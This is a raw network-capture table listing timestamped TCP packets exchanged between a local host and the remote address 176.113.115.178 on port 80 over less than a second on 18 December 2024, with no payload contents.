Dec 18, 2024 13:49:50.418802977 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.418874025 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.419580936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.419783115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.419851065 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.420464993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.420758009 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.420917988 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.421387911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.421582937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.421751022 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.422077894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.422349930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.422528028 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.422931910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.423192978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.423294067 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.423962116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.424196005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.424323082 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.424917936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.425194979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.425374031 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.425921917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.426246881 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.426517963 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.426953077 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.427208900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.427330971 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.427961111 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.428203106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.428406000 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.428983927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.429238081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.429352999 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.430119038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.430346966 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.430537939 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.431052923 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.431297064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.431436062 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.431938887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.432220936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.432287931 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.433012962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.478168011 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.572257042 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.572526932 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.572731018 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.572963953 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.573363066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.573415995 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.573823929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.574207067 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.574321032 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.574860096 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.575026035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.575156927 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.575798988 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.576021910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.576111078 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.576776981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.577080011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.577141047 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.577780962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.578059912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.578233004 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.578896999 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.579099894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.579175949 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.579813957 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.580110073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.580420017 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.581034899 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.581224918 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.581384897 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.581871033 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.582134008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.582204103 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.582833052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.583072901 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.583345890 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.583890915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.584085941 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.584160089 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.584827900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.585083961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.585268974 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.585851908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.586127996 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.586245060 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.586882114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.587086916 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.587141991 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.587846041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.588087082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.588234901 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.588886023 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.589121103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.589421988 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.589910984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.590111017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.590164900 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.590922117 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.591327906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.591447115 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.591876984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.592144012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.592211962 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.592911005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.593154907 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.593210936 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.593940973 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.594121933 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.594212055 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.594891071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.595213890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.595308065 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.595911026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.596131086 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.596194029 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.596954107 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.597177982 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.597234964 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.597928047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.598166943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.598285913 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.598917007 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.599194050 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.599287033 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.599889994 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.600150108 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.600219011 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.600980043 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.601151943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.601232052 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.601923943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.602159023 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.602271080 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.602946043 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.603162050 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.603271961 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.603915930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.604152918 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.604513884 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.605000019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.605235100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.605473042 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.605973005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.606187105 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.606337070 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.606972933 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.607192993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.607250929 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.607959986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.608198881 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.608664989 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.608978987 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.609178066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.609401941 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.609960079 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.610192060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.610939980 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.610961914 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.611176014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.611223936 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.612015009 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.612313032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.612417936 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.612998962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.613229036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.613353014 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.614007950 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.614233971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.614362001 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.615041971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.615273952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.615339994 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.619050026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.619064093 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.619076967 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.619204998 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.619939089 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.619960070 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.620016098 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.620867014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.620878935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.620918989 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.621860981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.621874094 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.621923923 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.622776031 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.622788906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.622853994 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.623684883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.623733044 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.624661922 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.624675035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.625173092 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.625330925 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.625377893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.625430107 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.626183033 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.626203060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.626296043 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.626979113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.681260109 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.764240026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.764530897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.764611959 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.764938116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.765327930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.765391111 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.765805006 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.766166925 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.766304970 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.766947985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.767371893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.767501116 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.768110991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.768381119 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.768438101 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.769012928 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.769268990 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.769351006 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.770030022 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.770203114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.770291090 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.770875931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.771332979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.771464109 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.772006035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.772109032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.772170067 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.772927999 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.773078918 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.773278952 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.773821115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.774049044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.774111986 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.774827957 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.775053978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.775113106 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.775810003 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.776046991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.776118994 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.776843071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.777097940 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.777185917 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.777861118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.778060913 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.778187990 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.778855085 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.779052973 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.779144049 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.779849052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.780072927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.780195951 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.780977011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.781136990 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.781224012 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.781847000 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.782075882 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.782124043 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.782866001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.783087969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.783229113 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.783886909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.784089088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.784137011 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.784905910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.785111904 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.785198927 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.785871983 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.786118984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.786267042 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.786905050 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.787132978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.787329912 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.787893057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.788114071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.788206100 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.788902998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.789134026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.789268970 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.789932013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.790168047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.790216923 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.791004896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.791273117 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.791333914 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.792057991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.792186975 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.792318106 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.792937040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.793179989 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.793226004 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.793987036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.794178009 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.794255018 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.794933081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.795198917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.795244932 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.795967102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.796209097 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.796272039 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.796976089 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.797184944 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.797471046 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.797986984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.798342943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.798429966 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.799026966 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.799254894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.799475908 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.800050974 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.800231934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.800312996 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.800971985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.801219940 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.801268101 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.802042007 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.802251101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.802357912 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.802995920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.803209066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.803334951 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.803997993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.804255962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.804359913 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.805003881 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.805234909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.805331945 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.806085110 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.806242943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.806437016 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.807018995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.807272911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.807341099 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.808520079 CET	80	49822	176.113.115.178	192.168.2.6
